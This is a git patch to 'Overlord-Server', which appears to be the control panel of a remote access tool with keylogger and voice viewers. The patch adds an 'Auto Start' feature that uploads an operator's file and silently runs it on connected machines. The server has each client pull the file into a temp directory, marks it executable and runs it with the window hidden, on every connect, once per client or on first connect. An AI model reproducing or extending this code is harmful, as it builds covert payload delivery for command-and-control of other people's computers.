From fd2749dcf0da322ebe9c6b8e8381134a0b802afc Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sun, 29 Mar 2026 17:53:25 -0500 Subject: [PATCH] auto execution implemented and fix issue when uninstalling clients and them being shown in the menu when they connect to purgatory --- Overlord-Server/public/assets/deploy.js | 220 ++++++++++++++++++ Overlord-Server/public/deploy.html | 121 ++++++++++ Overlord-Server/src/db.ts | 190 +++++++++++++++ Overlord-Server/src/main-server.ts | 12 + .../src/server/auto-deploy-dispatch.ts | 134 +++++++++++ Overlord-Server/src/server/http-dispatch.ts | 8 + .../src/server/routes/auto-deploy-routes.ts | 188 +++++++++++++++ .../src/server/routes/client-routes.ts | 1 + .../routes/websocket-lifecycle-routes.ts | 2 + .../src/server/validation-constants.ts | 8 +- Overlord-Server/src/sessions/types.ts | 1 + 11 files changed, 884 insertions(+), 1 deletion(-) create mode 100644 Overlord-Server/src/server/auto-deploy-dispatch.ts create mode 100644 Overlord-Server/src/server/routes/auto-deploy-routes.ts diff --git a/Overlord-Server/public/assets/deploy.js b/Overlord-Server/public/assets/deploy.js index 3c8296f..cff4de0 100644 --- a/Overlord-Server/public/assets/deploy.js +++ b/Overlord-Server/public/assets/deploy.js @@ -626,5 +626,225 @@ clearOutputBtn.addEventListener("click", () => { '
No commands dispatched yet.
'; }); +const autoDeployNameInput = document.getElementById("auto-deploy-name"); +const autoDeployTriggerSelect = document.getElementById("auto-deploy-trigger"); +const autoDeployZone = document.getElementById("auto-deploy-zone"); +const autoDeployFileInput = document.getElementById("auto-deploy-file-input"); +const autoDeployFileStatus = document.getElementById("auto-deploy-file-status"); +const autoDeployArgsInput = document.getElementById("auto-deploy-args"); +const autoDeployHideWindow = document.getElementById("auto-deploy-hide-window"); +const autoDeploySaveBtn = document.getElementById("auto-deploy-save-btn"); +const autoDeployCancelBtn = document.getElementById("auto-deploy-cancel-btn"); +const autoDeployList = document.getElementById("auto-deploy-list"); + +let autoDeployFile = null; +let autoDeployEditId = null; + +if (autoDeployZone) { + autoDeployZone.addEventListener("click", () => autoDeployFileInput.click()); + autoDeployZone.addEventListener("dragover", (e) => { + e.preventDefault(); + autoDeployZone.classList.add("border-cyan-500"); + }); + autoDeployZone.addEventListener("dragleave", () => { + autoDeployZone.classList.remove("border-cyan-500"); + }); + autoDeployZone.addEventListener("drop", (e) => { + e.preventDefault(); + autoDeployZone.classList.remove("border-cyan-500"); + const f = e.dataTransfer?.files?.[0]; + if (f) { + autoDeployFile = f; + autoDeployFileStatus.textContent = `${f.name} (${formatBytes(f.size)})`; + autoDeployFileStatus.className = "mt-1 text-xs text-emerald-400"; + } + }); + autoDeployFileInput.addEventListener("change", (e) => { + const f = e.target.files?.[0]; + if (f) { + autoDeployFile = f; + autoDeployFileStatus.textContent = `${f.name} (${formatBytes(f.size)})`; + autoDeployFileStatus.className = "mt-1 text-xs text-emerald-400"; + } + }); +} + +function getAutoDeployOsFilter() { + const checked = []; + document.querySelectorAll('input[name="auto-deploy-os"]:checked').forEach((cb) => { + checked.push(cb.value); + }); + return checked; +} + +function clearAutoDeployOsFilter() { + document.querySelectorAll('input[name="auto-deploy-os"]').forEach((cb) => { + cb.checked = false; + }); +} + +function resetAutoDeployForm() { + autoDeployNameInput.value = ""; + autoDeployTriggerSelect.value = "on_connect"; + autoDeployArgsInput.value = ""; + autoDeployHideWindow.checked = true; + autoDeployFile = null; + autoDeployFileInput.value = ""; + autoDeployFileStatus.textContent = "No file selected"; + autoDeployFileStatus.className = "mt-1 text-xs text-slate-400"; + clearAutoDeployOsFilter(); + autoDeployEditId = null; + autoDeployCancelBtn.classList.add("hidden"); + autoDeploySaveBtn.innerHTML = ' Save Auto Start'; +} + +async function loadAutoDeploys() { + try { + const res = await fetch("/api/auto-deploys"); + if (!res.ok) return; + const data = await res.json(); + renderAutoDeployList(data.items || []); + } catch (err) { + console.error("Failed to load auto deploys:", err); + } +} + +function triggerLabel(trigger) { + switch (trigger) { + case "on_connect": return "Every connect"; + case "on_connect_once": return "Once per client"; + case "on_first_connect": return "First connect only"; + default: return trigger; + } +} + +function renderAutoDeployList(items) { + if (items.length === 0) { + autoDeployList.innerHTML = '
No auto start rules configured.
'; + return; + } + + autoDeployList.innerHTML = items + .map((item) => { + const osText = item.osFilter && item.osFilter.length > 0 + ? item.osFilter.join(", ") + : "any"; + const statusColor = item.enabled ? "text-emerald-400" : "text-slate-500"; + const statusIcon = item.enabled ? "fa-circle-check" : "fa-circle-pause"; + return ` +
+
+
+ + ${escapeHtml(item.name)} +
+
+ ${escapeHtml(item.fileName)} + ${triggerLabel(item.trigger)} + ${escapeHtml(osText)} + ${item.args ? `${escapeHtml(item.args)}` : ""} +
+
+
+ + +
+
`; + }) + .join(""); + + autoDeployList.querySelectorAll(".auto-deploy-toggle").forEach((btn) => { + btn.addEventListener("click", async () => { + const id = btn.dataset.id; + const currentlyEnabled = btn.dataset.enabled === "true"; + try { + const res = await fetch(`/api/auto-deploys/${encodeURIComponent(id)}`, { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ enabled: !currentlyEnabled }), + }); + if (res.ok) loadAutoDeploys(); + } catch (err) { + console.error("Toggle failed:", err); + } + }); + }); + + autoDeployList.querySelectorAll(".auto-deploy-delete").forEach((btn) => { + btn.addEventListener("click", async () => { + const id = btn.dataset.id; + if (!confirm("Delete this auto start rule?")) return; + try { + const res = await fetch(`/api/auto-deploys/${encodeURIComponent(id)}`, { + method: "DELETE", + }); + if (res.ok) loadAutoDeploys(); + } catch (err) { + console.error("Delete failed:", err); + } + }); + }); +} + +if (autoDeploySaveBtn) { + autoDeploySaveBtn.addEventListener("click", async () => { + const name = autoDeployNameInput.value.trim(); + if (!name) { + alert("Please enter a task name."); + return; + } + if (!autoDeployFile) { + alert("Please select a file to deploy."); + return; + } + + const trigger = autoDeployTriggerSelect.value; + const args = autoDeployArgsInput.value; + const hideWindow = autoDeployHideWindow.checked; + const osFilter = getAutoDeployOsFilter(); + + autoDeploySaveBtn.disabled = true; + + try { + const form = new FormData(); + form.append("file", autoDeployFile, autoDeployFile.name); + form.append("name", name); + form.append("trigger", trigger); + form.append("args", args); + form.append("hideWindow", String(hideWindow)); + form.append("enabled", "true"); + form.append("osFilter", JSON.stringify(osFilter)); + + const res = await fetch("/api/auto-deploys", { + method: "POST", + body: form, + }); + + if (!res.ok) { + const data = await res.json().catch(() => ({})); + alert(data.error || "Failed to save auto start rule"); + return; + } + + resetAutoDeployForm(); + loadAutoDeploys(); + } catch (err) { + console.error("Save auto deploy failed:", err); + alert("Failed to save auto start rule."); + } finally { + autoDeploySaveBtn.disabled = false; + } + }); +} + +if (autoDeployCancelBtn) { + autoDeployCancelBtn.addEventListener("click", resetAutoDeployForm); +} + checkAuth(); loadClients(); +loadAutoDeploys(); diff --git a/Overlord-Server/public/deploy.html b/Overlord-Server/public/deploy.html index eaea8e3..3441ac5 100644 --- a/Overlord-Server/public/deploy.html +++ b/Overlord-Server/public/deploy.html @@ -218,6 +218,127 @@ + + +
+
+
+
+

Auto Start

+

+ Automatically deploy and run a file on clients when they connect +

+
+
+ +
+
+
+ + +
+
+ + +
+
+ +
+ +
+
+
+ +
+
+
Drag & drop a file
+
or click to select
+
+
+ +
+
No file selected
+
+ +
+
+ + +
+
+ +
+ + + + + +
+
+
+ + + +
+ + +
+
+ +
+
Active Auto Start Rules
+
+
Loading...
+
+
+
+
diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts index ef39e5c..db4ae22 100644 --- a/Overlord-Server/src/db.ts +++ b/Overlord-Server/src/db.ts @@ -190,6 +190,39 @@ db.run( `CREATE INDEX IF NOT EXISTS idx_auto_script_runs_ts ON auto_script_runs(ts DESC);`, ); +db.run(` + CREATE TABLE IF NOT EXISTS auto_deploys ( + id TEXT PRIMARY KEY, + name TEXT NOT NULL, + trigger TEXT NOT NULL, + file_path TEXT NOT NULL, + file_name TEXT NOT NULL, + file_size INTEGER NOT NULL, + file_os TEXT NOT NULL, + args TEXT NOT NULL DEFAULT '', + hide_window INTEGER NOT NULL DEFAULT 1, + enabled INTEGER NOT NULL, + os_filter TEXT NOT NULL DEFAULT '[]', + created_at INTEGER NOT NULL, + updated_at INTEGER NOT NULL + ); +`); +db.run( + `CREATE INDEX IF NOT EXISTS idx_auto_deploys_trigger ON auto_deploys(trigger, enabled);`, +); + +db.run(` + CREATE TABLE IF NOT EXISTS auto_deploy_runs ( + deploy_id TEXT NOT NULL, + client_id TEXT NOT NULL, + ts INTEGER NOT NULL, + PRIMARY KEY (deploy_id, client_id) + ); +`); +db.run( + `CREATE INDEX IF NOT EXISTS idx_auto_deploy_runs_ts ON auto_deploy_runs(ts DESC);`, +); + export function upsertClientRow( partial: Partial & { id: string; @@ -218,6 +251,7 @@ export function upsertClientRow( last_seen=excluded.last_seen, online=COALESCE(excluded.online, clients.online), ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms), + enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE clients.enrollment_status END, public_key=COALESCE(excluded.public_key, clients.public_key), key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint) `, @@ -1052,3 +1086,159 @@ export function getPendingClients(): { lastSeen: Number(r.lastSeen) || 0, })); } + +export type AutoDeployTrigger = "on_connect" | "on_first_connect" | "on_connect_once"; + +export type AutoDeploy = { + id: string; + name: string; + trigger: AutoDeployTrigger; + filePath: string; + fileName: string; + fileSize: number; + fileOs: string; + args: string; + hideWindow: boolean; + enabled: boolean; + osFilter: string[]; + createdAt: number; + updatedAt: number; +}; + +function mapAutoDeployRow(row: any): AutoDeploy { + let osFilter: string[] = []; + try { + const parsed = JSON.parse(row.os_filter || "[]"); + osFilter = Array.isArray(parsed) ? parsed : []; + } catch { } + return { + id: row.id, + name: row.name, + trigger: row.trigger as AutoDeployTrigger, + filePath: row.file_path, + fileName: row.file_name, + fileSize: Number(row.file_size) || 0, + fileOs: row.file_os || "unknown", + args: row.args || "", + hideWindow: row.hide_window === 1, + enabled: row.enabled === 1, + osFilter, + createdAt: Number(row.created_at) || 0, + updatedAt: Number(row.updated_at) || 0, + }; +} + +export function listAutoDeploys(): AutoDeploy[] { + const rows = db.query(`SELECT * FROM auto_deploys ORDER BY created_at DESC`).all(); + return rows.map(mapAutoDeployRow); +} + +export function getAutoDeploysByTrigger(trigger: AutoDeployTrigger): AutoDeploy[] { + const rows = db + .query( + `SELECT * FROM auto_deploys WHERE trigger=? AND enabled=1 ORDER BY created_at ASC`, + ) + .all(trigger); + return rows.map(mapAutoDeployRow); +} + +export function getAutoDeploy(id: string): AutoDeploy | null { + const row = db.query(`SELECT * FROM auto_deploys WHERE id=?`).get(id); + return row ? mapAutoDeployRow(row) : null; +} + +export function createAutoDeploy(input: { + id: string; + name: string; + trigger: AutoDeployTrigger; + filePath: string; + fileName: string; + fileSize: number; + fileOs: string; + args: string; + hideWindow: boolean; + enabled: boolean; + osFilter: string[]; +}): AutoDeploy { + const now = Date.now(); + db.run( + `INSERT INTO auto_deploys (id, name, trigger, file_path, file_name, file_size, file_os, args, hide_window, enabled, os_filter, created_at, updated_at) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, + input.id, + input.name, + input.trigger, + input.filePath, + input.fileName, + input.fileSize, + input.fileOs, + input.args, + input.hideWindow ? 1 : 0, + input.enabled ? 1 : 0, + JSON.stringify(input.osFilter ?? []), + now, + now, + ); + return getAutoDeploy(input.id)!; +} + +export function updateAutoDeploy( + id: string, + input: Partial<{ + name: string; + trigger: AutoDeployTrigger; + args: string; + hideWindow: boolean; + enabled: boolean; + osFilter: string[]; + }>, +): AutoDeploy | null { + const current = getAutoDeploy(id); + if (!current) return null; + + const next = { + name: input.name ?? current.name, + trigger: (input.trigger ?? current.trigger) as AutoDeployTrigger, + args: input.args ?? current.args, + hideWindow: typeof input.hideWindow === "boolean" ? input.hideWindow : current.hideWindow, + enabled: typeof input.enabled === "boolean" ? input.enabled : current.enabled, + osFilter: Array.isArray(input.osFilter) ? input.osFilter : current.osFilter, + }; + + db.run( + `UPDATE auto_deploys SET name=?, trigger=?, args=?, hide_window=?, enabled=?, os_filter=?, updated_at=? WHERE id=?`, + next.name, + next.trigger, + next.args, + next.hideWindow ? 1 : 0, + next.enabled ? 1 : 0, + JSON.stringify(next.osFilter), + Date.now(), + id, + ); + + return getAutoDeploy(id); +} + +export function deleteAutoDeploy(id: string): boolean { + const result = db.run(`DELETE FROM auto_deploys WHERE id=?`, id); + db.run(`DELETE FROM auto_deploy_runs WHERE deploy_id=?`, id); + return (result as any)?.changes ? (result as any).changes > 0 : true; +} + +export function hasAutoDeployRun(deployId: string, clientId: string): boolean { + const row = db + .query( + `SELECT deploy_id FROM auto_deploy_runs WHERE deploy_id=? AND client_id=?`, + ) + .get(deployId, clientId); + return !!row?.deploy_id; +} + +export function recordAutoDeployRun(deployId: string, clientId: string) { + db.run( + `INSERT OR REPLACE INTO auto_deploy_runs (deploy_id, client_id, ts) VALUES (?, ?, ?)`, + deployId, + clientId, + Date.now(), + ); +} diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 0d97e10..9b18423 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -38,6 +38,8 @@ import { CORS_HEADERS } from "./server/http-security"; import { mimeType, secureHeaders, securePluginHeaders } from "./server/http-utils"; import { sanitizePluginId } from "./server/plugin-utils"; import { dispatchAutoScriptsForConnection } from "./server/auto-script-dispatch"; +import { dispatchAutoDeploysForConnection } from "./server/auto-deploy-dispatch"; +import { handleAutoDeployRoutes } from "./server/routes/auto-deploy-routes"; import { consumeHttpDownloadPayload, type PendingHttpDownload } from "./server/http-download-consumer"; import { startBuildProcess as runBuildProcess } from "./server/build-process"; import { createHttpFetchHandler } from "./server/http-dispatch"; @@ -354,6 +356,10 @@ async function startServer() { detectUploadOs, normalizeClientOs, }, + autoDeploy: { + DEPLOY_ROOT, + detectUploadOs, + }, winre: { WINRE_ROOT, winreUploads, @@ -476,6 +482,11 @@ async function startServer() { handleKeyloggerViewerMessage, handleVoiceViewerMessage, dispatchAutoScriptsForConnection, + dispatchAutoDeploysForConnection: (info: import("./types").ClientInfo, ws: import("bun").ServerWebSocket) => { + const proto = tls ? "https" : "http"; + const origin = `${proto}://127.0.0.1:${PORT}`; + dispatchAutoDeploysForConnection(info, ws, origin); + }, dispatchAutoLoadPlugins: (info: import("./types").ClientInfo) => { dispatchAutoLoadPlugins( info, @@ -538,6 +549,7 @@ async function startServer() { handleAuthRoutes, handleNotificationsConfigRoutes, handleAutoScriptsRoutes, + handleAutoDeployRoutes, handleEnrollmentRoutes, handleUsersRoutes, handleBuildRoutes, diff --git a/Overlord-Server/src/server/auto-deploy-dispatch.ts b/Overlord-Server/src/server/auto-deploy-dispatch.ts new file mode 100644 index 0000000..5929ac4 --- /dev/null +++ b/Overlord-Server/src/server/auto-deploy-dispatch.ts @@ -0,0 +1,134 @@ +import type { ServerWebSocket } from "bun"; +import { v4 as uuidv4 } from "uuid"; +import { hasAutoDeployRun, getAutoDeploysByTrigger, recordAutoDeployRun } from "../db"; +import { logger } from "../logger"; +import { metrics } from "../metrics"; +import { encodeMessage } from "../protocol"; +import type { SocketData } from "../sessions/types"; +import type { ClientInfo } from "../types"; +import { logAudit, AuditAction } from "../auditLog"; +import { normalizeClientOs } from "./deploy-utils"; +import { createUploadPull } from "./routes/file-download-routes"; + +export function dispatchAutoDeploysForConnection( + info: ClientInfo, + ws: ServerWebSocket, + serverOrigin: string, +): void { + if (info.role !== "client") return; + if (ws.data?.autoDeploysRan) return; + + const isNewClient = ws.data?.wasKnown === false; + const onConnect = getAutoDeploysByTrigger("on_connect"); + const onFirst = isNewClient ? getAutoDeploysByTrigger("on_first_connect") : []; + const onConnectOnce = getAutoDeploysByTrigger("on_connect_once"); + const deploys = [...onConnect, ...onFirst, ...onConnectOnce]; + + if (deploys.length === 0) { + ws.data.autoDeploysRan = true; + return; + } + + const clientOs = normalizeClientOs(info.os); + + for (const deploy of deploys) { + if (deploy.osFilter.length > 0) { + const rawOs = (info.os || "").toLowerCase(); + if (!deploy.osFilter.includes(rawOs)) { + continue; + } + } + + if (deploy.trigger === "on_connect_once") { + if (hasAutoDeployRun(deploy.id, info.id)) { + continue; + } + recordAutoDeployRun(deploy.id, info.id); + } + + // Verify the file still exists + try { + const stat = Bun.file(deploy.filePath); + if (stat.size === 0) { + logger.warn(`[auto-deploy] file missing for ${deploy.id}: ${deploy.filePath}`); + continue; + } + } catch { + logger.warn(`[auto-deploy] file inaccessible for ${deploy.id}: ${deploy.filePath}`); + continue; + } + + const destDir = clientOs === "windows" + ? `C:\\Windows\\Temp\\Overlord\\auto-${deploy.id}` + : `/tmp/overlord/auto-${deploy.id}`; + const destPath = clientOs === "windows" + ? `${destDir}\\${deploy.fileName}` + : `${destDir}/${deploy.fileName}`; + + const pullId = createUploadPull({ + clientId: info.id, + filePath: deploy.filePath, + fileName: deploy.fileName, + size: deploy.fileSize, + ttlMs: 120_000, + }); + const pullUrl = `${serverOrigin}/api/file/upload/pull/${encodeURIComponent(pullId)}`; + + try { + info.ws.send( + encodeMessage({ + type: "command", + commandType: "file_upload_http" as any, + id: uuidv4(), + payload: { path: destPath, url: pullUrl, total: deploy.fileSize }, + }), + ); + + if (clientOs !== "windows") { + info.ws.send( + encodeMessage({ + type: "command", + commandType: "file_chmod" as any, + id: uuidv4(), + payload: { path: destPath, mode: "0755" }, + }), + ); + } + + info.ws.send( + encodeMessage({ + type: "command", + commandType: "silent_exec" as any, + id: uuidv4(), + payload: { command: destPath, args: deploy.args, hideWindow: deploy.hideWindow }, + }), + ); + + metrics.recordCommand("silent_exec"); + logAudit({ + timestamp: Date.now(), + username: "system", + ip: "server", + action: AuditAction.SILENT_EXECUTE, + targetClientId: info.id, + success: true, + details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`, + }); + logger.info(`[auto-deploy] dispatched ${deploy.id} (${deploy.trigger}) to ${info.id}`); + } catch (err) { + logger.warn(`[auto-deploy] failed to dispatch ${deploy.id} to ${info.id}`, err); + logAudit({ + timestamp: Date.now(), + username: "system", + ip: "server", + action: AuditAction.SILENT_EXECUTE, + targetClientId: info.id, + success: false, + details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`, + errorMessage: (err as Error)?.message || "send failed", + }); + } + } + + ws.data.autoDeploysRan = true; +} diff --git a/Overlord-Server/src/server/http-dispatch.ts b/Overlord-Server/src/server/http-dispatch.ts index 2b526bf..6a61299 100644 --- a/Overlord-Server/src/server/http-dispatch.ts +++ b/Overlord-Server/src/server/http-dispatch.ts @@ -23,6 +23,7 @@ type HttpDispatchDeps< TNotificationsConfig, TBuild, TDeploy, + TAutoDeploy, TWinRE, TFileDownload, TPlugin, @@ -37,6 +38,7 @@ type HttpDispatchDeps< handleAuthRoutes: RouteHandlerWithServer; handleNotificationsConfigRoutes: RouteHandlerWithServerDeps; handleAutoScriptsRoutes: RouteHandler; + handleAutoDeployRoutes: RouteHandlerWithDeps; handleEnrollmentRoutes: RouteHandler; handleUsersRoutes: RouteHandlerWithServer; handleBuildRoutes: RouteHandlerWithServerDeps; @@ -53,6 +55,7 @@ type HttpDispatchDeps< notificationsConfig: TNotificationsConfig; build: TBuild; deploy: TDeploy; + autoDeploy: TAutoDeploy; winre: TWinRE; fileDownload: TFileDownload; plugin: TPlugin; @@ -69,6 +72,7 @@ export function createHttpFetchHandler< TNotificationsConfig, TBuild, TDeploy, + TAutoDeploy, TWinRE, TFileDownload, TPlugin, @@ -83,6 +87,7 @@ export function createHttpFetchHandler< TNotificationsConfig, TBuild, TDeploy, + TAutoDeploy, TWinRE, TFileDownload, TPlugin, @@ -111,6 +116,9 @@ export function createHttpFetchHandler< const autoScriptsResponse = await deps.handleAutoScriptsRoutes(req, url); if (autoScriptsResponse) return autoScriptsResponse; + const autoDeployResponse = await deps.handleAutoDeployRoutes(req, url, deps.routeDeps.autoDeploy); + if (autoDeployResponse) return autoDeployResponse; + const enrollmentResponse = await deps.handleEnrollmentRoutes(req, url); if (enrollmentResponse) return enrollmentResponse; diff --git a/Overlord-Server/src/server/routes/auto-deploy-routes.ts b/Overlord-Server/src/server/routes/auto-deploy-routes.ts new file mode 100644 index 0000000..c660de6 --- /dev/null +++ b/Overlord-Server/src/server/routes/auto-deploy-routes.ts @@ -0,0 +1,188 @@ +import fs from "fs/promises"; +import path from "path"; +import { authenticateRequest } from "../../auth"; +import { + createAutoDeploy, + deleteAutoDeploy, + getAutoDeploy, + listAutoDeploys, + updateAutoDeploy, + type AutoDeployTrigger, +} from "../../db"; +import { requirePermission } from "../../rbac"; +import { AUTO_DEPLOY_TRIGGERS, ALLOWED_OS_FILTERS } from "../validation-constants"; +import { v4 as uuidv4 } from "uuid"; +import type { DeployOs } from "../deploy-utils"; + +type AutoDeployRouteDeps = { + DEPLOY_ROOT: string; + detectUploadOs: (filename: string, bytes: Uint8Array) => DeployOs; +}; + +export async function handleAutoDeployRoutes( + req: Request, + url: URL, + deps: AutoDeployRouteDeps, +): Promise { + if (req.method === "GET" && url.pathname === "/api/auto-deploys") { + const user = await authenticateRequest(req); + if (!user) { + return new Response(JSON.stringify({ error: "Not authenticated" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + + return Response.json({ items: listAutoDeploys() }); + } + + if (req.method === "POST" && url.pathname === "/api/auto-deploys") { + const user = await authenticateRequest(req); + if (!user) { + return new Response(JSON.stringify({ error: "Not authenticated" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + let form: FormData; + try { + form = await req.formData(); + } catch { + return new Response("Bad request", { status: 400 }); + } + + const file = form.get("file"); + if (!(file instanceof File)) { + return Response.json({ error: "Missing file" }, { status: 400 }); + } + + const name = String(form.get("name") || "").trim(); + const triggerRaw = String(form.get("trigger") || "").trim() as AutoDeployTrigger; + const args = String(form.get("args") || ""); + const hideWindow = form.get("hideWindow") !== "false"; + const enabled = form.get("enabled") !== "false"; + let osFilterRaw: string[] = []; + try { + osFilterRaw = JSON.parse(String(form.get("osFilter") || "[]")); + } catch { } + const osFilter = Array.isArray(osFilterRaw) + ? osFilterRaw.filter((v: unknown) => typeof v === "string" && ALLOWED_OS_FILTERS.has(v as string)) + : []; + + if (!name) { + return Response.json({ error: "Name is required" }, { status: 400 }); + } + if (!AUTO_DEPLOY_TRIGGERS.has(triggerRaw)) { + return Response.json({ error: "Invalid trigger" }, { status: 400 }); + } + + const filename = path.basename(file.name || "upload.bin"); + const id = uuidv4(); + await fs.mkdir(deps.DEPLOY_ROOT, { recursive: true }); + const folder = path.join(deps.DEPLOY_ROOT, "auto", id); + await fs.mkdir(folder, { recursive: true }); + const targetPath = path.join(folder, filename); + const bytes = new Uint8Array(await file.arrayBuffer()); + await fs.writeFile(targetPath, bytes); + + const fileOs = deps.detectUploadOs(filename, bytes); + + const item = createAutoDeploy({ + id, + name, + trigger: triggerRaw, + filePath: targetPath, + fileName: filename, + fileSize: bytes.length, + fileOs, + args, + hideWindow, + enabled, + osFilter, + }); + + return Response.json({ ok: true, item }); + } + + const autoDeployMatch = url.pathname.match(/^\/api\/auto-deploys\/(.+)$/); + if (autoDeployMatch && req.method === "PUT") { + const user = await authenticateRequest(req); + if (!user) { + return new Response(JSON.stringify({ error: "Not authenticated" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + let body: any = {}; + try { + body = await req.json(); + } catch { + return Response.json({ error: "Invalid JSON" }, { status: 400 }); + } + + const triggerRaw = body?.trigger ? String(body.trigger).trim() : undefined; + if (triggerRaw && !AUTO_DEPLOY_TRIGGERS.has(triggerRaw as AutoDeployTrigger)) { + return Response.json({ error: "Invalid trigger" }, { status: 400 }); + } + + const osFilterRaw = Array.isArray(body?.osFilter) ? body.osFilter : undefined; + const osFilter = osFilterRaw + ? osFilterRaw.filter((v: unknown) => typeof v === "string" && ALLOWED_OS_FILTERS.has(v as string)) + : undefined; + + const updated = updateAutoDeploy(autoDeployMatch[1], { + name: body?.name ? String(body.name).trim() : undefined, + trigger: triggerRaw as AutoDeployTrigger | undefined, + args: typeof body?.args === "string" ? body.args : undefined, + hideWindow: typeof body?.hideWindow === "boolean" ? body.hideWindow : undefined, + enabled: typeof body?.enabled === "boolean" ? body.enabled : undefined, + osFilter, + }); + + if (!updated) { + return Response.json({ error: "Not found" }, { status: 404 }); + } + + return Response.json({ ok: true, item: updated }); + } + + if (autoDeployMatch && req.method === "DELETE") { + const user = await authenticateRequest(req); + if (!user) { + return new Response(JSON.stringify({ error: "Not authenticated" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + const deploy = getAutoDeploy(autoDeployMatch[1]); + if (deploy) { + try { + const dir = path.dirname(deploy.filePath); + await fs.rm(dir, { recursive: true, force: true }); + } catch { } + } + + deleteAutoDeploy(autoDeployMatch[1]); + return Response.json({ ok: true }); + } + + return null; +} diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts index 71cb14f..3eb1f38 100644 --- a/Overlord-Server/src/server/routes/client-routes.ts +++ b/Overlord-Server/src/server/routes/client-routes.ts @@ -655,6 +655,7 @@ export async function handleClientRoutes( } else if (action === "uninstall") { target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() })); metrics.recordCommand("uninstall"); + clientManager.deleteClient(targetId); deleteClientRow(targetId); logAudit({ timestamp: Date.now(), diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 64d2073..c58f618 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -52,6 +52,7 @@ type WsLifecycleDeps = { handleKeyloggerViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; handleVoiceViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket) => void; + dispatchAutoDeploysForConnection: (info: ClientInfo, ws: ServerWebSocket) => void; dispatchAutoLoadPlugins: (info: ClientInfo) => void; takePendingNotificationScreenshot: (clientId: string) => any; storeNotificationScreenshot: ( @@ -372,6 +373,7 @@ export async function handleWebSocketMessage( clientManager.addClient(infoObj.id, infoObj); deps.dispatchAutoScriptsForConnection(infoObj, ws); + deps.dispatchAutoDeploysForConnection(infoObj, ws); deps.dispatchAutoLoadPlugins(infoObj); deps.notifyDashboard(); deps.notifyDashboardClientEvent("client_online", { diff --git a/Overlord-Server/src/server/validation-constants.ts b/Overlord-Server/src/server/validation-constants.ts index a2a4a96..1524e90 100644 --- a/Overlord-Server/src/server/validation-constants.ts +++ b/Overlord-Server/src/server/validation-constants.ts @@ -1,4 +1,4 @@ -import type { AutoScriptTrigger } from "../db"; +import type { AutoScriptTrigger, AutoDeployTrigger } from "../db"; export const AUTO_SCRIPT_TRIGGERS = new Set([ "on_connect", @@ -6,6 +6,12 @@ export const AUTO_SCRIPT_TRIGGERS = new Set([ "on_connect_once", ]); +export const AUTO_DEPLOY_TRIGGERS = new Set([ + "on_connect", + "on_first_connect", + "on_connect_once", +]); + export const ALLOWED_SCRIPT_TYPES = new Set([ "powershell", "bash", diff --git a/Overlord-Server/src/sessions/types.ts b/Overlord-Server/src/sessions/types.ts index fab7031..1ba7e89 100644 --- a/Overlord-Server/src/sessions/types.ts +++ b/Overlord-Server/src/sessions/types.ts @@ -22,6 +22,7 @@ export type SocketData = { userId?: number; wasKnown?: boolean; autoTasksRan?: boolean; + autoDeploysRan?: boolean; enrollmentNonce?: string; };